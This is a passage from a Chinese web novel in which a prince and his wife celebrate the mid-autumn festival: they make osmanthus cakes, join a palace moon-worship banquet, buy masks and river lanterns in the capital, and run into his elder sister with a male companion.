对于这一点,一些朝臣颇有微词。江都王日落后进宫,陪同皇后用晚膳后再出宫门,那时宫门早已下匙,非皇帝手令不能开。偏偏皇帝又给了江都王这项殊荣,让朝臣们瞧在眼里自然就不怎么舒服了。不过说到底只是陪皇后吃晚膳而已,怎么都算是皇帝的家事。他们要是话多了,皇帝可不会惯着他们,少不得要被罚俸禄,遇上皇帝心情差了还得吃挂落。 这些朝臣背后或多或少都与定安王他们勾连着关系,如今眼见着椒房得宠,他们的主子之前却被赶回封地,一个个的多多少少都染上了点红眼病。嫉妒是无济于事的,他们也只能安慰自己江都王也就高兴这几日了,时间一到不也得灰溜溜地返回封地。 百里漾懒得去搭理这些浑身都在冒酸水的人,他的时间很宝贵,不能浪费在这些身上。十五这日,天朗气清,风里夹杂着金桂的香味。走在街道上,不知道哪家庭院里种植的桂树开花,被风一吹,金黄色的桂花散落于风中,被风裹挟着,纷纷而落,落到了房檐瓦缝间,积成一条条金黄色的线。 定国公府中,曹氏正带着女儿、儿媳做桂花饼。 这时候是没有月饼这一说法的,时人多以鲜花为馅的面饼作为祭月的供品。又因为八月桂花纷纷,更多的人家选择制作桂花鲜饼。是以望日当日,寻常人家中的女性长辈都会带领家中的小辈制作鲜花饼。大户人家也有祭月的习俗,但供品一类有下人采买,由主子亲手制作的倒是没有几家,但定国公府显然是一个例外。 “父亲与阿兄多年在外驻守,一年之中少有团聚的时刻。每逢今日,母亲皆会领着我们做些面饼,着人带去给他们。”颜漪见百里漾在一旁好奇,解释道。她要给曹氏打下手,此时将袖子挽起,衣裳前也系了一件类似围裙的罩衣。 百里漾点头,“月圆人团圆,见不着面但能共食桂花饼也是好的,岳母有心了。” 定国公携长子多年在外驻守,与家人相见之日寥寥,彼此之间总是挂念的。今日在此时也有团圆的说法,家人之间不能相见,但能吃到亲人手作的桂花饼也算是一种慰籍了。 “有什么需要我帮忙的么?”百里漾问道。岳母、、二嫂还有妻子都在干活,他站在旁边干看着活像个监工,这怎么能行呢? “大王若是有暇便帮我拿一拿东西。”颜漪对于百里漾非要在这陪着她也是无奈的,他想帮忙,偏偏笨手笨脚的,这么大个人杵着不知道干什么的模样真的瞧着有些呆呆的。她也不好拂他的好意,干脆就让他帮忙那一些重的物什了。 百里漾很欢喜,将两边的袖子撸起系好,“王妃要我拿什么?”气势很足,大有一种“我任凭你吩咐”的感觉。 “母亲,您看五王与七娘。”不远处的刘氏将小夫妻二人的互动看在眼里,心里面有点小羡慕的同时不忘了拉了拉婆母曹氏示意她也看过去,感叹道,“五王真不是一般的体贴。您瞧他们蜜里调油的黏糊模样,估计要不了多久您就能做外祖母了。” 作为与婆母关系融洽的儿媳,刘氏敏锐地察觉到了婆母曹氏这段时间以来掩盖在平静之下的焦虑,都不需要思考多少,她就想明白了造成这份焦虑的原因是什么。 江都王离京在即,七娘亦要陪着。儿行千里母担忧,这一别少说也要有一年不能见面,婆母如何能不忧虑几分?如今唯一能够安慰婆母的就是小夫妻俩的感情好,江都王又是个会体贴人的,七娘即便是去了江都也不会受苦。 “东张西望的,面在你手里都要糊了。”曹氏笑骂了一声儿媳。她表面上看着一直专注于自己手上的活计,实则分了注意给女儿女婿那边,见到小夫妻俩感情确实好,心中自是觉得宽慰。她近几日确实是有些茶饭不思、思虑过度了,无需请大夫她自己就知道缘由。说到底是与女儿分别在即,终归不舍罢了。 刘氏察觉婆母的心情在变好,心中暗暗松了一口气,开始专注于和面,免得真的让这一团面在自己手上废掉不能用了。 到了傍晚的时候,百里漾离开定国公府往皇宫去了,颜漪则是留在这里与母亲曹氏用晚膳。对于这个安排,颜漪提出过异议,她固然希望今日自己能够陪同母亲度过,但她亦是天家妇,于情于理都应该随同百里漾入宫的。 “不妨事的。”百里漾知道她在顾虑什么,“阿娘他们都是宽和的人,他们会理解的。再说还有我在呢,不会让他们对你有什么误解的。” 颜漪彼时看着以一副轻松口吻与她说话的百里漾,心中那一块柔软的地方总是能被他触动。从成亲到现在,他一直对她很好,许多事情都能够为她着想。有时候颜漪觉得他体贴得都不太像是一个男子,没有大多数男子的自我粗心,连气息都是清新而非浑厚沉重的。 “那就有劳大王在陛下与殿下面前为我多说几句好话了。”在定国公府门口送别百里漾时,颜漪上前为他整理了衣领上的褶子,眼眸中的一泓秋水闪烁着柔情与笑意,“我就在这等候大王来接我了。” 百里漾握着颜漪的手,保证道:“王妃放心,我还等着王妃给我做向导,带我去看一看今夜的湛京城。” 这时候虽然对于八月十五没有他前世时那般重视,但一些活动还是有的。夜幕降临后的湛京城会变得无比热闹,游人如织,彩灯如昼,别有一番繁华景象。百里漾多年在江都,已有好久不曾见过这般景象了。江都虽好,终究也比不得天子脚下。 百里漾至椒房殿时,皇后等人已经在准备祭月了。一轮朗月之下,香案连同其上的供品都附上了一层洁白的光晕。 “来了。”百里澄第一个朝百里漾看过来,打了一声招呼。她不用问就知道这弟弟踩着点过来必然是从定国公府赶过来的,对于没有见到颜漪也不意外。 百里漾朝几人问安之后站到了太子身边,等着拈香拜月。 这时候祭月实际上拜的是太阴星君,由女子先拜,男子后拜。所以说按照顺序,首拜是皇后,其次是太子妃、百里澄、阿荧,后面才是太子与百里漾。祭月之后便是分食果饼。大半个巴掌大小的桂花饼分到手里,上面被制作糕点的御厨弄了好看且寓意吉祥的纹样,极是精致。 这样的桂花饼在香案上一共有八个,除了他们在场的六人都分到一个之外,剩下的两个其中一个被送去给了皇帝,一个则是让皇后叫人装起来等百里漾离开时带给颜漪。 “五须,哩不漆么?” 正当百里漾看着饼要下口的时候,下方传来一个软糯的声音,吐字有点含糊,像是嘴里塞满了东西造成的。他低头就看见了两只手捧着饼把嘴巴塞得满满当当的阿荧,蹲下,问她,“瞧瞧告诉五叔,好不好吃?” 阿荧的嘴巴跟仓鼠似的快速嚼动一阵后,回答的超大声,“好吃,五叔你不吃么?”她手里还拿着半个,看着盯着百里漾手里的这个,眼睛里充满了再吃一个的渴望。 这软萌的团子看得百里漾心软,刚要张口说给她再吃一个,太子妃看出她的意图即时开口劝阻,“五弟,不能给她多吃。太医说阿荧牙齿有些问题,疑是甜食吃多了,需要节制。”又转头看向阿荧,“这饼中有星君的祝福,每个人只有一份。你吃掉五叔的那份,五叔就没有祝福了。” 百里漾懂了,小孩子本来就爱吃甜食,又不懂得节制,自是有多少就想吃多少了。偏偏阿荧身份尊贵,宫里谁都知道她受宠爱,她有需求宫人自是要满足,私底下怕是瞒着太子妃吃了许多甜食致使坏牙了,等太子妃发现后必是被限制吃甜食了。 今日用来祭月的桂花饼香甜软糯,出自御厨之手,味道不用说。也是祭月之后供品有沾福气的说法,阿荧才得以吃到一整块的桂花饼。但一块不能满足她的胃口,还想吃两块来着。若非不合适,百里漾还真想看看阿荧的小肚肚是不是鼓起来了。 吃掉桂花饼等于吃掉星君给五叔的祝福。 阿荧连忙摇头,“阿荧吃自己的饼就好了。”阿娘告诉过她了,星君的祝福很重要的,它可以保佑人一直健康不生病。她不能把五叔的健康吃走。 “阿荧真乖,我们一起吃。”百里漾摸摸小侄女的脑袋,乐道。 朗月高悬,没有云层的遮挡,皎洁的月光将皇宫照得处处一片通透。良辰美景,皇后临时起了兴致叫宫人露天置了席案,要饮酒赏月。她心情好,底下的几个子女们也不会扫兴,陪着饮酒说说话,期间还有阿荧的“才艺表演”——吟诵与月亮有关的诗词。这时候就体现出阿荧作为整个百里氏第三代最受宠爱的地位了,没有人不夸的,羞得阿荧捂着小脸钻到了太子妃怀中。 这场月光下的家宴一直持续到了将近亥时,此时皇后也乏了,看着底下的三个儿女,让他们该干什么干什么去,大好的日子也不必一直陪着她一个老人家,该陪老婆孩子的去陪老婆孩子、该谈情说爱的去谈情说爱。 话说的没有这么直白,但意思是这么个意思。 刚成家的百里漾脸皮薄目光游移,太子也低头,目光却隐有期待地看向太子妃。只有百里澄,她对皇后笑道:“我无事可做,可以再陪阿娘赏一会儿月。” 皇后:“……” 大好的日子,不生气不生气。 皇后暂时不想理这个“讨厌鬼”的大女儿,睨了一眼旁边偷笑的陶掌宫。陶掌宫连忙调整面部肌肉把笑容收回去,扶着皇后回椒房殿了。 经过百里澄这么一“打岔”,其余几人面上都带了一层笑意。阿荧听不明白,不过她看阿爹阿娘还有叔叔都笑了,自己也跟着弯眼睛笑了。 百里漾要出宫,只是走着走着发现长姐百里澄与他是一样的路线,不由问道:“阿姐你今日送我出宫么?” “想什么呢,我也要出宫。”百里澄目不斜视说道。 好吧,是他自作多情了。百里漾默默不说话了,他跟着百里澄走了一段路。月光很亮,宫道上拉出了两人的影子,随着脚步的行进在移动。快要走到宫门的时候,百里漾忽然觉得疑惑,这时候了长姐怎么还要出宫?一旦出去了,回头怕也是叫不开宫门了。 百里漾不知道百里澄这会儿还要出宫做什么,想问又不大敢问,只是频频地扭头去看她,一副欲言又止、止言又欲的犹豫样。 “想问什么就问。”百里澄余光早注意到他张张合合的模样了,看了他一眼说道。 “……”百里漾就把自己的顾虑说了,最后说道,“阿姐若是不嫌弃可以到我宅邸歇息一晚,明日再回宫也不迟。” 不管长姐今晚出去要做什么,安危的问题他是不必为长姐考虑的,长姐做事向来比他有分寸多了,但皇宫她今晚是注定回不去了。剩下的便是住宿的问题。百里漾不认为一国的长公主会找不到住的地方,师娘子那里也是一个去处。只是让人发觉了到底不好,最好的解决方案便是住到他的宅邸之中。姐姐住弟弟家里,谁也说不出什么来。 “再看吧,若是去你宅邸,我会使人提前知会你的。”百里澄知道弟弟是好意,眼眸里浮现笑意,抬头望圆月在顶,透过不远处的宫门也看到了一墙之隔外灯火璀璨、热闹繁华的湛京城,心情大好,“王妃还在等着你,快去寻她吧。” 宫门守卫验了二人的身份和手令之后当即就放行了。百里漾乘坐的是马车,刚想问百里澄是否要共乘,前方便有人牵马过来。百里澄一拽马缰翻身上马,居高临下与百里漾道了一声别,一人一骑冲入了红尘的繁华之中。 百里漾目送着那一人一骑直至消失不见,随即登车前往定国公府。等他接到颜漪时,时间已经过了亥时。他目露歉意,“让你久等了。” “不碍事。”颜漪笑容和软,“倒是有劳大王奔波一日。”定国公府与皇宫的距离不算远,但这也是相对而言的。百里漾要来回地在两者之间跑,也算是辛苦。 “不过小事。”百里漾没有觉得接媳妇算什么辛苦,拉着她的手说道,“我们去拜别岳母再离开。” 颜漪象征性地挣扎了几下,无果,也就任由着他牵着了,都有些懒得去想待会母亲与二嫂见到会如何想了。她发现百里漾会经常喜欢牵着她的手,在宅邸时便是如此,她已渐渐习惯了。但此处是她母家,叫人看见仍是有些不适应。 百里漾还不知道自己王妃害羞了,他高高兴兴地拉着王妃去向岳母曹氏告别。曹氏对于今日颜漪不陪着一道去宫里有些许的担心,但看到百里漾欢喜的模样便知没有什么要紧的。她叫人将今日自己亲手做的桂花饼打包一份让百里漾带回去,又让颜青梧夫妇俩将人送到门口。 登上马车之后,百里漾看着那份岳母曹氏给的带着太阴星君赐福的桂花饼,忍不住笑了笑。颜漪看他傻笑,眉眼跟着弯了一个弧度,轻声问道:“大王为何发笑?” “阿娘也让我将这祭月后的福饼带给你。”百里漾指了指曹氏给的那份,又拿出了皇后给的,“御厨的手艺不错,我吃了一个,甜而不腻,但一下子吃一个还是会有一点撑的。” 这饼是皇后的一番好意,按照规矩来说是不能浪费的。不过认真说来这只是家人之间的赠礼和祝福,没有那么多的讲究。百里漾是觉得以颜漪的胃口这会儿完全吃下一个会撑,不吃也没有关系,祭月的时候他有求星君给颜漪赐福。 知道这是皇后特意给她留的,颜漪心中动容,她告诉百里漾自己会将它吃完的。百里漾乐了,拎着曹氏给的那一份,表示自己也会吃完的,怎么着这也是岳母的一份心意。 马车要路过一段繁华的街市,但今晚湛京城中出来游玩的人太多了,马车行进的速度越来越慢,到最后不得不停下来。车夫禀报说前面过不去,可能需要绕一段路才能走。 “外头好热闹。”百里漾掀开车帘子往外瞧了一眼,湛京城繁华的景象便映入眼中,耳边顿时响起了各种喧闹的声音,远处的人影来回晃动,小孩牵着大人的手欢快地蹦来跳去,街边店铺挂起的各式灯笼交相辉映出一大片炫丽的光景。 第78章 面具 即便此时大衍官方对八月十五的重视并没有上升到百里漾前世所了解的唐、宋两朝的程度, 但民间百姓生自发的热情将今夜的湛京城变成了一片热烈喧闹的盛会。 百里漾很喜欢这样充满了人间烟火气的节日氛围,这是他在前世快节奏的生活之下很少能够体验到的。他将帘子掀开得更大些,让颜漪能够看到外面的繁华景象, 发出邀请,"要下去看看么?" 颜漪从他眼中看到了满满的兴致,欣然应道:"好啊。" 于是,夫要俩下马车步行走过去。 一路上行人众多,越是热闹的地方越是人挤人, 说一句比肩接踵都不夸张。两人出行, 前后左右都有便装的侍卫为二人开道护驾, 以免冲撞。 周围人见状也是见怪不怪。这是天子脚下,天下权贵最多的地方, 这种出行阵仗虽然大了些,但也不是没有见过。大家自觉让开了道路, 顺便也看一看这又是哪家的大人物出行了。 看了之后发现是一对年轻俊俏的小夫妻,男俊女俏。乖乖, 在这湛京城活了快大半辈子了, 这是什么神仙人物, 还是头一回见到。 湛京百姓的眼力也是被练出来了。这对小夫妻俩瞧着就不是一般的贵气,最令人注目的是他们彼此之间亲密的姿态。从头到尾那位年轻郎君都一手拉着妻子的手,以一种护持的姿态让她免受周围人潮的拥挤,这在许多新成婚的夫妻之中都是很少见的。 人年纪大了,就喜欢看这种全身都散发着热乎气的小两口甜甜蜜蜜。一些同样是年轻小夫妻看了,妻子看着自顾自逛着头都不怎么回一下的丈夫不由上手掐了丈夫的手臂一把,埋怨丈夫不体贴。 百里漾觉得他们似乎有些过于扎眼了。自从来这个世界之后,他对于别人注目的目光总是比较敏感的。拉着颜漪穿过了一对舞龙舞狮的队伍之后,走到一个街头稍显空旷的街角处, 百里漾以手示意侍卫再散开些隐入人群中保护,再看颜漪,见她因为方才跑动而气息有些微喘,原先收拾得整齐妥帖的发丝也从鬓边调皮地落下一缕,破坏了江都王妃的端庄仪容却平添了几分别样动人的美感。 "大王,我脸上可是有异物?"颜漪觉得百里漾的目光有些烫人,大庭广众的,叫他这样看着,颇是令人不自在。 好在百里漾只是伸手将那缕发丝拔回了莹白的耳后,环顾四周后说道:"人多眼杂,若是遇上认识的人颇是麻烦。前方不远处有一面具摊子,我们过去瞧瞧看如何?" 今夜实在是热闹,湛京城中不仅有舞龙舞狮这等热闹喜庆的节目,还有来自天南地北耍把戏的江湖艺人在表演,更有平日里难得一见的大型灯会和烟火会。各家怕是都有出门趁热闹的,指不定什么时候就碰见认识的人,届时少不了一通作礼问好,确实有不便之处。戴上面具倒是一个好法子。颜漪微微颔首,与百里漾去了那处面具小摊。 今夜人多热闹的湛京城对于商贩来说注定是一个做生意的好时机。喧闹的街市上挤满了人,宽阔的街道两边是灯笼高挂、烛火通明的各类店铺,沿街摆摊的摊贩支起来的摊子更是成了两条看不见尽头的长龙,卖什么东西的都有,天南地北的吃食、小玩意,只有你想不到的,看得人眼花缭乱。 “郎君与夫人要买面具么?瞧一瞧,这些都是小老儿与内人亲手做的。”走到一处稍显简陋的面具摊子上,摊主面上堆笑对百里漾与颜漪二人说道。 摊主是一名身形稍显干廋的老头,面上带有经年风霜留下的痕迹,两鬓的斑白在周围明亮灯火的映衬下仍显得发亮生光。他面上有笑容,眼里也有笑意,在眼前的这对小夫妻携手朝着他走过来时就已经从矮脚凳上站起,迎接二人的到来。 “娘子,你看看有什么喜欢的?”周围人多,百里漾紧紧拉着颜漪的手未免被人群冲散走失。他站在稍微朝外的位置,用自己的身体为颜漪隔开一片小空间,一面朝摊主点头示意,一面询问颜漪。 这是他头一回在外人面前以“娘子”来称呼颜漪,不自觉地心跳有些许微微加快,眼睛却是一点也不错地看着颜漪,心里也存了期待。 颜漪看着坦然自若地称呼她“娘子”的人,若非交握的另一只手心在微微发热,她都要相信了百里漾的“假象”。她自然不会拆穿百里漾,只是在被他注视的时候禁不住也心里微微发热,她下一瞬错开了与百里漾对视的目光,看向面具摊子上的面具,夸赞道:“夫君你看,这些面具都很漂亮呢。” 上一瞬百里漾还因为颜漪错开目光不与他对视而微微有些失落,下一瞬却因为这个称呼而瞬间有种升到了天上的感觉,他嘴角的弧度控住不住地上扬,目光也随着看过去,落到那些刻画精致的面具上,眼前一亮,亦跟着夸赞道:“店家当真好手艺,我头一次见到这般精良的面具。” 百里漾这话,认真计较是有一点夸大的成分,这般上乘品质的面具他自然不是头一回见。朝廷之中有天底下手艺最精良的匠人,面具也曾经作为玩具呈献到他的面前。他该说的是“头一次在民间见到”,这手艺与宫里的匠人相比也丝毫不差了。 被贵人夸赞了,摊主很高兴,先是自谦这不过是一点糊口的小手艺,不足夸奖,又殷勤让百里漾与颜漪二人挑选面具。 他们面前的只是一个简单支起的摊子,摊面上摆了一块干净的灰黄色麻布,上面整齐有序地摆满了各种造型的面具,最常见的动物形象面具、戏本的脸谱面具以及造型夸张诡异的祭祀巫神面具,林林总总数量加起来有五六十面之多,看得人眼花,觉得哪一个都好,反而生出了无从选择的纠结。 一阵纠结之后,百里漾拿起一个笑得眯眯脸的脸谱面具,转头去看颜漪选了哪个,见她两只手上均拿着一面具,显然是在犹豫选哪个。 两个面具,一是当下最受欢迎的月神面具,神明低垂的眉眼无不散发出仁慈圣洁的光辉。百里漾往人群看去,这满大街戴面具的人之中,有四成都是月神面具。这没什么好奇怪的,今夜祭月祭拜的太阴星君也是月神,佩戴月神面具也是应景了。另外一个面具则是狐神面具,摊主的手艺可谓称绝,将狐狸艳丽妩媚、桃花潋滟的美貌魅惑表现得尤为极致,七分的惑人中又带着三分的漫不经心,叫人见之惊喜。 “夫君觉得哪个更好?”颜漪见百里漾看过来,启唇轻声询问他的意见。 百里漾纠结了一瞬,很快有了选择,“我觉得这个更适合你些。” 同是由摊主亲手制作出来的,月神面具的工艺自然是不差的,但两者的风格相差极大甚至形成了浓烈的反差。大部分人都喜欢月神面具,因为神明总是光辉神圣的,就如同今夜的月光一般。这个世界的狐神也是神明的一种,但相对来说有些小众,很多时候祂是美貌、狡猾以及野心的象征。不知怎么的,百里漾就是觉得狐神面具会更适合颜漪。 “相较之下,我也更喜欢它。”颜漪与百里漾的眼睛对视,发现他确是认真思考过后一脸诚恳地给出了建议,面上徐徐绽开了一个清浅却动人的笑容,将手上的狐神面具递给百里漾,“可否请夫君为我戴上?” 百里漾当然不会拒绝,他接过面具为颜漪戴上,细心绑好了系在脑后的系绳,小心地让它们不会缠绕上那些发丝。做好这些之后,百里漾重新绕到了颜漪面前,也见到了戴上面具之后的颜漪。 面具遮住了整张面孔,只有眼睛的位置露了出来。灵动的眼眸配上这样的一张面具,百里漾有种被漩涡深深吸进去的感觉。他方才的感觉没有错,这张面具真的很适合他的王妃,而戴上了面具的颜漪这时候给他的感觉完全不一样,真的很不一样,让他不仅惊艳且惊喜。 戴上了面具的二人在付给摊主一笔不小的货款之后再次融入了热闹的人群之中。聚在街市的人实在是很多,本身这个局域平常时就是湛京城中最繁华的,再加上今日特殊的节日氛围,各大酒楼铺肆人满为患,几乎都找不到落脚的地方。 百里漾与颜漪过来的时辰放在平时已经算晚了,一般人在那个时辰已经躺在床榻上准备入睡了,可今日直到现在街上的人/流依旧没有减小的迹象,两人甚至遇上了追着月亮走的人们。被这样欢快的气氛感染,百里漾兴致来了,拉着颜漪跟着追了一段。不得不说,这追逐月亮的感觉确实很美好。 湛京的百姓还是很浪漫的。他们不只是在城里追月亮,随着月亮在天上的移动,有一部分人还会追到城外去。到了城外选一处观景位置极佳的山峰,在上面置席彻夜饮酒欢歌赏月,可以说是很浪漫潇洒了。 热烈的气氛人容易感染人。百里漾被感染也想拉着颜漪的手加入到那群人的队伍之中去,但理智让他打住了这个念头。那群追月亮的人都是提早做了准备的,许多更是结伴而行,一头脑发热就要跟上去的人大概率是站在山上吹风- 作者有话说:更新了。这两周都没榜,随缘更。 第79章 阿好 追了一段路, 两人在城中内河的一段河岸边停下来休息。这里人也很多,俱是来此处放河灯许愿的。在今夜,除了追月亮, 放河灯亦是一项广受百姓欢迎的活动。河岸边的人不少,虽然放河灯的人源源不断,但大家都是放完就离开了,总会有地方空出来留给后来的人。 河面早已漂满了一盏盏形状各异却明亮的河灯,两边的河岸不断地有人将被点亮的缓缓推入河中, 这些满载人们愿望的河灯就顺着水流摇摇晃晃地漂浮着, 形成了今夜湛京城中又一道绮丽无比的风光。 都到这里了怎么可能不放花灯。百里漾指了指河面, “要去放河灯么?” 颜漪看向百里漾,周围的灯火暖融明亮, 她看见了映在他面具上的光影,也看到了他柔和带笑的眼睛, 欣然应了。 放河灯之前自然要先去买河灯。这并不困难,因为周围也满是卖河灯的商贩。不少商贩为了方便直接将河灯挂在身上, 看见有意向的行人便上前去热情询问是否要购买河灯。像百里漾与颜漪这样穿着富贵之人一路上就被询问过好几次了, 在遭到拒绝也不纠缠, 转头又奔向下一个行人。 这些河灯的造型来来去去都是那些,大多是各种季节的花卉,其中更是以莲花造型为最。看了一圈下来,百里漾还没有看到特别喜欢的,他问颜漪,“有看到喜欢的么?” 颜漪摇了摇头,她对准备去放的河灯并没有多大的要求,反倒是察觉到了百里漾对所见到的河灯的不满意,她不知道他想要什么样的河灯, 刚要开口询问,一道声音忽然传来,“两位客人要买河灯么?” 百里漾也听到了,看向眼前这个撞入他们视野之中的少年,不,准确的来说应该是少女。 少女只有十二三岁,灰衣短褐,稚嫩的脸上带着紧张,看得出来是在强装镇定,面色有些黄,眼睛却很亮。她头发扎成了男子发髻的模样,只用蓝色的布条系着,手上挂着五六个河灯,再次向二人发出询问,“二位要买河灯么?” “你这河灯怎么卖啊?”百里漾觉得有趣,看了少女身上的河灯,制作还挺精良的,便问了一句。 “小尺寸的十个铜板一个,大些的十二文。”少女见他们有意要买很是欢喜,语调都上扬了一些,“您要哪盏?” 百里漾还真看中了其中一盏,指着她右手指上勾着的,“这盏。” 颜漪目光很精准地找到了百里漾要买的那盏河灯,微微有些诧异,但少女的反应比她还要大,“啊,您要这盏啊?” “怎么,这盏不卖么?” “不是不是。”少女就快将头摇成拨浪鼓了,解释了下,“这些河灯都是我阿娘做的,只有这个是我自己做的。做的不是很好,收您八个铜板就好了。” 她解下右手指上勾着的那盏莲花河灯,造型与真正的莲花并无不同,唯一的区别就是上面的花瓣都一致的胖乎乎得很圆润,给人一种吃多了却可爱的感觉。 百里漾接过来,掏出十个铜板给少女,在她数完发现多了要还回两枚的时候,一本正经地说道:“怎么是做的不好呢?我觉得这盏河灯就做得很好,它值这个价钱。” 少女没有想到他会这么说,内心先是涌上了一种被肯定的喜悦,但还是摇头坚持不肯多要那多的两文钱,她转头看向旁边的颜漪。尽管看不见面具之下的真容,但那一双眼睛真是漂亮极了,少女将身上的河灯往前递,“哥哥也给姐姐买一个河灯吧,两个人可以一起许愿。” 百里漾看向颜漪,“选一个?” “这些姐姐要是都不喜欢,我阿娘那里还有很多。”少女怕颜漪不卖,赶紧补了一句,说到后面语气不免带上了点自豪,“我阿娘的手艺很好的,她做的河灯真的很漂亮的。” 于是百里漾和颜漪两人就跟着少女到了一处树下。树下有一名褐衣妇人在摆摊向过路的行人兜售河灯,地上只铺设一块硬麻布,上面整齐地摆放着各式各样的河灯,一眼见之便知道其制作精良,一些河灯描摹的细节也很清晰。 百里漾和颜漪过来的时候妇人正好送走一对因为价格谈不下来而遗憾离开的年轻小夫妻。从小夫妻俩的衣着打扮来看,他们的家境并不富裕,对于一个河灯十文钱的价格几经犹豫之后选择放弃也属正常。 趁着节日货物涨价的情况任何朝代任何地方都会有。这种河灯平日里最多也就卖五六文钱,但到了今夜就会涨一倍的价钱,便宜些的八九文,贵些的十五、甚至二十文的都有。一分价钱一分货,贵些的自然更漂亮精致,便宜些的自然稍显粗糙了。 从价格来说,妇人的河灯售价相对于平时也是偏高的,但它的做工值得这个价格,对比其他家就知道妇人的河灯反而是性价比最高的。过路的人凡是往摊子看上一眼都会被吸引,忍不住心动就会上前来询问价钱,有不买的,但也陆陆续续卖出去一些。 “阿娘。”少女再次回头确认百里漾与颜漪两人是跟上来了,到了近前几乎是蹦跳着来到了妇人的面前,雀跃道,“阿娘,我拉来两个要买河灯的人,我而且已经卖出去一个了。” “阿好?”妇人看见看见突然冒出来的大女儿很是惊讶,脑子略过了她说的话,“你怎么跑回来了,不是让你回家给小妹带吃的么?” 今夜太过热闹,妇人忙着做生意不能按照往常的时间归家,家中还有六岁的小女儿,出门之前虽然拜托了邻家的蔡大娘帮忙照顾,但也不能一直麻烦人家。一个时辰之前,妇人看时间太晚了,让女儿带了一些吃食跟着蔡大娘的儿子儿媳一道回去,接了妹妹回家就不要过来了。谁知道她又跑来了。 “你自己一人跑来的?”今夜城里的人这般多,若是路上遇上拍花子的,后果不堪设想。妇人想到这里,气得张口训斥,“不说跟你说过不要来了,若是路上被人掳去卖去花楼,老娘我要到哪里去哭?” 眼看着自己阿娘眼睛往周边转要找可以替代藤条的东西了,少女赶紧解释,“我不是一个人来的。拜托了大柱哥带我来的,妹妹还在蔡奶奶家。我是想来帮您买河灯,卖得快些我们就能回家了。” 若是她不来帮忙,阿娘都不知道什么时辰能够回家。她知道阿娘为了扎这些河灯有多辛苦,两只手都被扎破了,也好几日没有睡过好觉了。她不想阿娘太辛苦,但自己能够帮忙的地方有限,想来想去也就是只能跑回来帮忙卖河灯。 其实她已经回来有一段时间了,见到好些商贩都是身上手里挂着东西向过路的行人兜售,她咬咬牙也学着他们去兜售了,效果却不是很好,愿意买河灯的人没有几个,甚至有好几次与人谈价格的时候被别人冲上来抢走了生意,还被人推到了,好在河灯没有被摔坏。 百里漾和颜漪是她谈成的第一笔生意。他们身上的衣服是她从未见过的好看,或许这就是大柱哥曾经跟她说过的“贵人”。这种贵人出手最是大方了,自己的东西若是让他们看上了,那是绝对不愁卖的。 妇人最终还是没有找到藤条打女儿,因为百里漾和颜漪已经走到摊子面前了。她赶紧招呼道:“二位要买河灯么?您可以任意挑选。” 她看着四十岁,脸上是遮掩不住的憔悴与苍老,以当下的普遍状况,她的实际年龄必然比显现出来的要年轻。因为在尘世摸爬滚打多年积攒下来的阅历,她比自己的女儿更有眼界,在见到百里漾与颜漪的第一眼当即就意识到自己女儿招揽来的绝对不是一般的“贵客”,她变得小心翼翼起来。 眼看着妇人因为他们的到来而变得拘谨甚至畏惧,颜漪取下了自己的面具,嗓音轻柔如同含了一泓春水,“店家手巧,这些河灯都很漂亮。” 她摘下面具后对面的母女俩看着她的脸都陷入了一瞬间的呆愣之中。人对美丽的事物总是要忍不住多看几眼的,阿好的眼睛眨了又眨,惊叹道:“姐姐,你长的真好看。”又扭头看了一眼旁边也解下了面具的百里漾,很实诚地发表自己的看法,“哥哥你也好看,但是没有这位姐姐好看。” 她从来就没有见过这么好看的人,就跟话本里天上的仙女一样。 妇人被大女儿的“莽撞”发言惊到了,害怕女儿的话会引起对面两人的不满。在妇人想要道歉补救之前,颜漪笑着回应,“谢谢,你也很漂亮。” 被夸“漂亮”的阿好直接红了脸。 百里漾也乐了,“你说的没有错,我确实不比这位姐姐长得好看。”惹得颜漪嗔了他一眼。 这一打岔让妇人大大缓解了拘谨萎缩。她婚姻不幸,丈夫指望不上,她要养女儿就不得不出来赚钱养家,也因此她学会了察言观色。她看得出眼前的这两位贵客是真的不在意她女儿说的话,态度也很亲和随意,人也放松下来了。 颜漪最后选了一盏同样是莲花造型的河灯,与百里漾那盏胖胖的莲灯不一样,是很标准的莲花灯,形状做得很逼真,上色均匀很有层次感,乍一看宛若真的一般。 第80章 偶遇 河灯小巧, 要做得精致却不容易。纯手工制作,骨架以削薄的细竹片做支撑,外层糊纸, 捏整出大致的形状后再进行更加细致的调整。许多商贩只是略略调整了一下,到整体有型这一步就足够了,再细节的就没有了。妇人这摊子上的河灯却不一样,其精致程度足以让人眼前一亮,让人很有购买的欲/望。 在百里漾付了钱之后, 颜漪手上就多了一盏莲花河灯。百里漾看看自己手中的, 又看看颜漪手中的, 让两盏河灯挨在一起,觉得实在有趣, 忍不住笑了,“你看, 我们选的这两盏还是很般配的。” 胖乎乎的莲花灯亲密地挨着另一盏,又像是彼此依偎的姿态。颜漪发现了百里漾此刻的童心, 很是配合说道:“是很般配。” 般配?应该是一对的意思。 阿好心满意足地数完了铜板放入收钱的小铜罐里就听到了他们的对话, 眨了眨眼睛。她记得当初在做这两个河灯的时候, 同阿娘说过,“这个胖胖的是我,这盏就代表阿娘。”看着照顾了她们母女俩生意的哥哥姐姐笑得实在是开心,直觉让她决定还是不把“真相”告诉他们为好。 百里漾和颜漪已经如愿买到了心仪的河灯,在同妇人道“生意兴隆”的祝福语之后本要离开,转身时却听到背后传来一道熟悉的声音,“走了一圈,这家的河灯瞧着不错。” 那一瞬间百里漾以为自己是幻听了,可记得出宫时长姐是同他一道的。比他转身更快的是颜漪, 相视而笑之后,她唤道:“阿姐,好巧。”她的目光随即转移到了百里澄身边人的身上,目光对视一瞬之后,相互颔首示意。 “阿姐,你怎么在这里?”百里漾惊了,他从来没有想过会在这里碰见百里澄,更让他震惊的是百里澄身边的男子。中秋之夜,长姐竟然是与一男子出来游玩的。 对面的百里澄和她身边的男子皆戴面具,一个狐神面具,一个月兔面具。在被百里漾和颜漪认出来之后都摘了下来,露面真容,确是百里澄无疑,而她身边的男子…… 一时间百里漾看向男子的目光不由得带上了几分审视。对方的模样称得上是俊秀,目光亦清亮,衣着稍显普通,身形瞧着有几分瘦弱,可通身看下来也是干干净净清清爽爽的,并不令人讨厌。他总瞧着这人有几分熟悉,却想不起来在哪里见过。 对方能出现在百里澄身边自然也能认出百里漾和颜漪的身份,只是目下大家都没有暴露身份的意思,他便拱手微躬向二人行了礼,“见过五郎君,五夫人。” “这是闻夏,五郎你是见过的。”百里澄并不避讳在弟弟弟妹面前展露她与闻夏不太寻常的关系,见百里漾想不起来还提醒了他一下。 是他! 